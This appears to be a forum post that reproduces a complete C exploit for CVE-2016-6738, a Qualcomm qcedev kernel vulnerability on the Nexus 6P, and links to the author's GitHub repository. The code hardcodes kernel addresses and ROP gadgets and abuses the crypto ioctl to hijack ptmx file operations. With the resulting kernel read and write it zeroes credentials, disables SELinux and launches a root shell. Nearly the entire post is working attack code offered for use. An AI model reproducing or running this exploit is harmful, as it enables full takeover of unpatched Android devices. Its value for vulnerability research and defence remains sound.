Nytro Posted August 1, 2017 Report Posted August 1, 2017 /* * Exploit for AndroidID-30034511, CVE-2016-6738 * https://source.android.com/security/bulletin/2016-11-01 * * Just for Nexus 6p MTC19X, if you want to run on other version, some symbol address should be changed * * shell@angler:/ $ getprop ro.build.fingerprint * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys * * By Gengjia Chen(chengjia4574@gmail.com, twitter: @chengjia4574) * * 7-12-2016 */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <stdbool.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/syscall.h> #include "qcedev.h" #define ioctl_syscall(n, efd, cmd, arg) \ eabi_syscall(n, efd, cmd, arg) #define NEW_PROC_NAME "My-Expl0it" #define KERNEL_BASE 0xffffffc000000000 #define SELINUX_ENFORCING 0xffffffc0019de11c #define INIT_TASK 0xffffffc00177f1a0 #define PTMX_MISC 0xffffffc001aa8580 #define PTMX_FOPS 0xffffffc001aa84a0 #define PTMX_LLSEEK 0xffffffc0002f7294 #define PTMX_READ 0xffffffc00052b954 #define PTMX_WRITE 0xffffffc00052befc #define PTMX_POLL 0xffffffc00052bafc #define PTMX_IOCTL 0xffffffc00052e0c4 #define COMPAT_PTMX_IOCTL 0xffffffc00052ba34 #define PTMX_OPEN 0xffffffc0005358b0 #define PTMX_RELEASE 0xffffffc00052d904 #define PTMX_FASYNC 0xffffffc00052b900 /* * rop read: * ffffffc000300060: f9405440 ldr x0, [x2,#168] * ffffffc000300064: d65f03c0 ret */ #define ROP_READ 0xffffffc000300060 /* * rop write: * ffffffc000671a58: b9000041 str w1, [x2] * ffffffc000671a5c: d65f03c0 ret */ #define ROP_WRITE 0xffffffc000671a58 static unsigned long my_task = 0; static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240; static int ptmx_fd = 0; static unsigned long fake_ptmx_fops = 0; static int kernel_read_32(unsigned long addr, unsigned int *val); static int kernel_read(unsigned long addr, unsigned long *val); static int kernel_write_32(unsigned long address, unsigned int value); static int kernel_write(unsigned long addr, unsigned long val); static int get_task_by_comm(unsigned long *task) { unsigned int comm0, comm1, comm2; unsigned long task_list, init_task_list, addr; int i, ret = 0; char task_name[50] = {0}; /* * follow the init_task->task list to search myself: * next: swapper->init->kthreadd->... * pre: swapper->...->myself->... */ task_list = (INIT_TASK + task_offset); init_task_list = task_list; for(i=0; i<1000; i++) { /* search self process from tail */ addr = task_list + 8; ret = kernel_read(addr, &task_list); if(task_list == init_task_list) { printf("search task list end, can't get task\n"); return -1; } addr = task_list - task_offset + comm_offset; ret = kernel_read_32(addr, &comm0); addr = task_list - task_offset + comm_offset + 4; ret = kernel_read_32(addr, &comm1); addr = task_list - task_offset + comm_offset + 4 * 2; ret = kernel_read_32(addr, &comm2); memcpy(task_name, &comm0, 4); memcpy(task_name + 4, &comm1, 4); memcpy(task_name + 8, &comm2, 4); if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) { *task = task_list - task_offset; break; } } return 0; } static int do_root(void) { int ret; unsigned long i, cred, addr; unsigned int tmp0; /* search myself */ ret = get_task_by_comm(&my_task); if(ret != 0) { printf("[-] get myself fail!\n"); return -1; } if(!my_task || (my_task < 0xffffffc000000000)) { printf("invalid task address!"); return -2; } ret = kernel_read(my_task + cred_offset, &cred); if (cred < KERNEL_BASE) return -3; i = 1; addr = cred + 4 * 4; ret = kernel_read_32(addr, &tmp0); if(tmp0 == 0x43736564 || tmp0 == 0x44656144) i += 4; addr = cred + (i+0) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+1) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+2) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+3) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+4) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+5) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+6) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+7) * 4; ret = kernel_write_32(addr, 0); //securebits: cred[i+8] // for full capabilities addr = cred + (i+9) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+10) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+11) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+12) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+13) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+14) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+15) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+16) * 4; ret = kernel_write_32(addr, 0xffffffff); /* success! */ // disable SELinux kernel_write_32(SELINUX_ENFORCING, 0); return 0; } static void restore(void) { unsigned long addr; // restore ptmx_cdev->ops addr = PTMX_MISC + 8 * 9; kernel_write(addr, PTMX_FOPS); } static int kernel_write_32(unsigned long addr, unsigned int val) { unsigned long arg; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE; arg = addr; ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg); return 0; } static int kernel_write(unsigned long addr, unsigned long val) { unsigned int val32; val32 = (unsigned int)val; kernel_write_32(addr, val32); val32 = (unsigned int)((val >> 32) & 0xffffffff); kernel_write_32(addr + 4, val32); return 0; } static int kernel_read_32(unsigned long addr, unsigned int *val) { int ret; unsigned long arg; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ; arg = addr - 168; errno = 0; ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg); *val = ret; return 0; } static int kernel_read(unsigned long address, unsigned long *value) { unsigned int val0, val1; kernel_read_32(address, &val0); kernel_read_32(address + 4, &val1); *value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000); } static int rop_init(void) { ptmx_fd = open("/dev/ptmx", O_RDONLY); if(ptmx_fd == -1) { printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno); return -1; } return 0; } static int rop_close(void) { close(ptmx_fd); return 0; } static int qcedev_encrypt(int fd, unsigned long src, unsigned long *dst) { int cmd; int ret; int size; struct qcedev_cipher_op_req params; size = sizeof(unsigned long); memset(¶ms, 0, sizeof(params)); cmd = QCEDEV_IOCTL_ENC_REQ; params.entries = 1; //params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; params.op = QCEDEV_OPER_ENC; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] encrypt fake_ptmx_fops\n"); ret = ioctl(fd, cmd, ¶ms); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } printf("[+] encrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst); return 0; } static int qcedev_decrypt(int fd, unsigned long src, unsigned long *dst) { int cmd; int ret; int size; struct qcedev_cipher_op_req params; size = sizeof(unsigned long); memset(¶ms, 0, sizeof(params)); cmd = QCEDEV_IOCTL_DEC_REQ; params.entries = 1; //params.in_place_op = 1; params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; //params.op = QCEDEV_OPER_ENC; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] decrypt fake_ptmx_fops\n"); ret = ioctl(fd, cmd, ¶ms); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } printf("[+] decrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst); return 0; } static int trigger(int fd, unsigned long src) { int cmd; int ret; int size; unsigned long dst; struct qcedev_cipher_op_req params; dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops size = sizeof(unsigned long); memset(¶ms, 0, sizeof(params)); cmd = QCEDEV_IOCTL_DEC_REQ; params.entries = 1; params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] overwrite ptmx_cdev ops\n"); ret = ioctl(fd, cmd, ¶ms); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } return 0; } #define SIZE 8 static int get_root(void) { int fd, i, ret = 0; void *map; unsigned int cmd; unsigned long edata = 0; unsigned long data = 0; struct qcedev_cipher_op_req params; fd = open("/dev/qce", O_RDONLY); if(fd == -1) { printf("[-] Open qcedev fail (%s - %d)\n", strerror(errno), errno); ret = -1; goto out; } printf("[+] open device qcedev\n"); map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0); if(map == MAP_FAILED) { printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno)); ret = -1; goto out; } //printf("[+] landing mmap'ed @ %p\n", map); memset(map, 0x0, 0x10000); fake_ptmx_fops = map; printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops); *(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK; *(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ; *(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE; *(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL; *(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL; *(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN; *(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE; *(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC; qcedev_encrypt(fd, fake_ptmx_fops, &edata); trigger(fd, edata); rop_init(); printf("[+] to get root ...\n"); do_root(); printf("[+] restore \n"); restore(); rop_close(); ioctl_out: close(fd); out: return ret; } static void banner(void) { printf("\n"); printf("*****************************************************************\n"); printf("* Exploit for AndroidID-30034511 *\n"); printf("* For Nexus 6p MTC19X *\n"); printf("* By Gengjia Chen *\n"); printf("* 7-12-2016 *\n"); printf("*****************************************************************\n"); printf("\n"); } int main(void) { int ret; banner(); prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0); ret = get_root(); if(ret == -1) { printf("[-] get root fail\n"); return -1; } printf("[+] SELinux disabled! \n"); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); printf("\n[+] Got it :)\n"); printf("[+] uid=%d gid=%d\n", getuid(), getgid()); sleep(1); ret = execl("/system/bin/sh", "/system/bin/sh", NULL); if( ret ) { printf("execl failed, errno %d\n", errno); } } return 0; } All files: https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2016-6738 1 Quote